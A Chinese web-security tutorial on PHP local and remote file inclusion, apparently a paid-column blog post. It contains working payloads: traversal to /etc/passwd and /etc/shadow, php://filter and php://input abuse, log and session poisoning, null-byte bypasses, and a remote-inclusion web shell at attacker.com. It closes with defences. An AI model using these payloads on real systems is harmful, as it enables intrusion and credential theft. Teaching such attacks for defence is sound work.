文件包含漏洞:本地包含与远程包含的利用场景

文件包含漏洞:本地包含与远程包含的利用场景

作者:浅木·先生

来源:「浅木·先生」| 知识星球「软件测试成长圈」

所属专栏:《Web安全工程师进阶之路》


前言

文件包含是Web安全中最"四两拨千斤"的漏洞之一。有时候明明找不到上传点,找不到注入点,但只要找到一处文件包含漏洞,就能直接RCE。

它的威力在于不限制文件来源------只要能控制被包含的文件路径,不管它是什么类型的文件,都能让服务器执行其中的代码。

PHP的系统函数include()require()include_once()require_once(),一旦动态包含用户可控路径,就等于给攻击者开了一扇任意代码执行的门。


一、文件包含漏洞原理

1.1 漏洞代码示例

php 复制代码
// 普通文件包含代码
$page = $_GET['page'];
include($page . '.php');
// 正常访问:index.php?page=news → include("news.php")

// 恶意构造:index.php?page=../../etc/passwd → 任意文件读取
php 复制代码
// 利用文件包含RCE
// 攻击者先上传shell.jpg(内容是PHP代码),然后:
index.php?page=shell.jpg
// 服务器包含shell.jpg,PHP代码被执行 → getshell

1.2 文件包含与文件上传的区别

特征 文件上传 文件包含
核心问题 能上传恶意文件 能控制包含什么文件
利用前提 需要上传点 不需要上传,只需要包含点
RCE条件 直接上传PHP 配合上传/日志/_SESSION等
隐蔽性 上传文件可能被查 不留文件,内存马更难发现

二、文件包含的分类

2.1 本地文件包含(LFI)

只能包含服务器本地文件,无法加载远程资源。

利用场景:

  • 读取服务器敏感文件(/etc/passwd、配置文件、日志文件)
  • 配合上传点,将图片马包含执行
  • 利用Session文件、PHP伪协议等实现RCE
php 复制代码
// 本地文件包含
$file = $_GET['file'];
include($file);
// 读取系统敏感文件
// ?file=/etc/passwd
// ?file=../../var/www/html/config.php

2.2 远程文件包含(RFI)

能够加载远程服务器上的文件。PHP需开启allow_url_include

php 复制代码
// 远程文件包含(PHP配置允许情况下)
$file = $_GET['file'];
include($file);
// ?file=http://attacker.com/shell.txt
// 服务器会执行远程文件内容

危害更大,但条件较严格(需PHP开启allow_url_include)。


三、本地文件包含利用技巧

3.1 读取敏感文件

php 复制代码
// Linux敏感文件
?file=/etc/passwd
?file=/etc/shadow           // 需要root权限读
?file=/var/www/html/index.php
?file=../../apache/logs/access.log
?file=../../proc/self/environ

// Windows敏感文件
?file=C:\\Windows\\System32\\drivers\\etc\\hosts
?file=C:\\Windows\\win.ini
?file=C:\\xampp\\apache\\conf\\httpd.conf

实战技巧: 通过日志文件包含getshell:

复制代码
1. 找到Web日志路径(apache/nginx access.log)
2. 通过SQL注入或写入一句话到User-Agent头
3. 访问日志:?file=../../logs/access.log
4. 日志内容被当作PHP执行 → getshell

3.2 PHP伪协议利用

PHP内置了多种伪协议,可以访问特殊的输入输出流:

伪协议 作用
php://filter 读取文件(base64编码)
php://input 读取POST提交的数据
zip:// 包含zip压缩包内的文件

php://filter读取源码:

php 复制代码
?file=php://filter/read=convert.base64-encode/resource=index.php
// 返回index.php的base64编码内容,解码后得到源码

php://input执行代码:

php 复制代码
// 需要开启 allow_url_include
?file=php://input
// POST提交PHP代码:
<?php system($_GET['x']); ?>

zip://协议包含压缩包内文件:

复制代码
# 先上传zip文件(内容是PHP代码),然后:
?file=zip://shell.jpg#shell.php
# 需要文件上传时文件名为 shell.jpg,zip里包含 shell.php

3.3 Session文件包含

php 复制代码
// PHP默认Session存储路径
// Linux: /tmp 或 /var/lib/php/sessions/
// Windows: C:\Windows\Temp\

// 利用流程:
// 1. 先通过某种方式写入恶意内容到SESSION
// 2. 然后包含SESSION文件

// 常见SESSION文件名格式
// sess_ + PHPSESSID值
// 例如:sess_abc123def456

// 利用:
?file=/var/lib/php/sessions/sess_abc123def456

3.4 /proc伪文件系统

在Linux中,即使找不到Session文件,也可以利用/proc目录:

php 复制代码
// /proc/self/environ 包含当前进程的环境变量
?file=../../proc/self/environ
// User-Agent头注入PHP代码

四、远程文件包含利用

4.1 开启条件

PHP需要同时配置:

ini 复制代码
allow_url_fopen = On
allow_url_include = On

allow_url_include默认是Off,所以RFI相对较少。

4.2 攻击模型

复制代码
攻击者服务器: http://attacker.com/
        ↓
放置 shell.txt(内容是PHP代码)
        ↓
目标服务器请求:
?file=http://attacker.com/shell.txt
        ↓
目标服务器include远程文件
        ↓
远程PHP代码被执行 → getshell

4.3 实战演示

php 复制代码
# 攻击者服务器上的 shell.txt
<?php
    $c = $_GET['x'];
    echo `$c`;
?>
# 目标访问
?file=http://attacker.com/shell.txt&x=whoami
# 执行 whoami 命令

五、文件包含绕过技巧

5.1 %00截断

php 复制代码
// 代码
$file = $_GET['file'];
include($file . '.php');
// 正常无法直接包含.php

// 绕过:?file=shell.txt%00
include("shell.txt\0.php");  // \0后面的被截断,实际是shell.txt

条件: PHP版本 < 5.3.4,magic_quotes_gpc=off

5.2 路径穿越

php 复制代码
// 代码
$file = $_GET['page'];
include('/var/www/html/' . $file);

// 正常:?page=news → /var/www/html/news.php
// 恶意:?page=../../etc/passwd → /var/www/html/../../etc/passwd → /etc/passwd

5.3 问号绕过(远程包含)

php 复制代码
// 代码
$file = $_GET['file'];
include($file . '.html');

// 绕过:?file=http://attacker.com/shell.txt%00
include("http://attacker.com/shell.txt\0.html");

5.4 多次编码绕过

php 复制代码
// WAF解码一次
// 双重URL编码:%252f → %2f → /
// 绕过路径穿越过滤

六、文件包含防御方案

6.1 代码层面防御

php 复制代码
// 白名单方式(最佳方案)
$allowed_pages = ['home', 'news', 'about', 'contact'];
$page = $_GET['page'];
if (!in_array($page, $allowed_pages)) {
    die("非法页面");
}
include('/var/www/html/pages/' . $page . '.php');
php 复制代码
// 禁止目录穿越
$file = str_replace('../', '', $_GET['file']);
$file = realpath($file);  // 解析真实路径,超出目录会返回false

6.2 PHP配置层面

ini 复制代码
# php.ini
allow_url_fopen = Off        # 关闭远程文件读取
allow_url_include = Off      # 关闭远程文件包含
open_basedir = /var/www/    # 限制PHP可访问的目录

6.3 Web服务器配置

apache 复制代码
# Apache .htaccess
php_flag allow_url_include off
# 或者在VirtualHost中配置
<Directory "/var/www/html">
    php_admin_flag allow_url_include off
</Directory>

总结

文件包含漏洞的核心是用户可控的参数被拼接到文件路径中

LFI的利用链:

  • 读取敏感文件 → 找配置信息/密码 → 扩大战果
  • 配合上传点 → 上传图片马 → 包含执行
  • 利用日志/Session → 注入代码 → getshell
  • 配合PHP伪协议 → 任意代码执行

防御的核心是白名单 + 禁止路径穿越 + 配置关闭远程文件包含


关于作者

作者长期从事网络安全技术研究与实践,主要涵盖Web安全、渗透测试、内网渗透等领域。

如果你觉得这篇文章有帮助,欢迎收藏。需要进一步交流的同学,可以搜索关注「浅木·先生」,专栏会持续更新。同时也有付费版的知识星球可供直接下载工具与源码,可以搜索 软件测试成长圈


💡 AI工具推荐

如果你在研究AI编程或大模型应用,以下工具值得关注:

相关推荐
cd_949217211 小时前
邮件安全联防预警平台“网哨M01”:全面联防对抗社工钓鱼攻击
网络·安全·web安全
云边云科技_云网融合5 小时前
@WAN SASE 1.0 全新起航,重新定义企业网络安全边界
网络·安全·web安全
技术不好的崎鸣同学7 小时前
信息安全工程师之《网络安全体系与网络安全模型》
大数据·安全·web安全
m0_738120727 小时前
渗透测试基础知识——从零认识JWT(JSON Web Token)身份令牌
服务器·前端·安全·web安全·网络安全·json
ze^07 小时前
Day04 Web应用&蜜罐系统&堡垒机运维&API内外接口&第三方拓展架构&部署影响
网络·安全·web安全·安全架构
深邃-8 小时前
【Web安全】-企业资产信息收集(1):信息收集介绍,域名信息收集,主域名查询,ICP备案号查询,备案实体查询,工业和信息化部政务服务平台查询,怎样收集
安全·web安全·网络安全·安全威胁分析·政务·信息收集
上海云盾-小余1 天前
网站恶意爬虫拦截策略:智能识别与封禁实操方案
网络·爬虫·安全·web安全
2301_780789661 天前
手游遇到攻击为什么要用SDK游戏盾手游遇到攻击为什么要用 SDK 游戏盾?
安全·web安全·游戏·架构·kubernetes·ddos
运维行者_1 天前
云计算连接性与互操作性
服务器·开发语言·网络·web安全·网络基础设施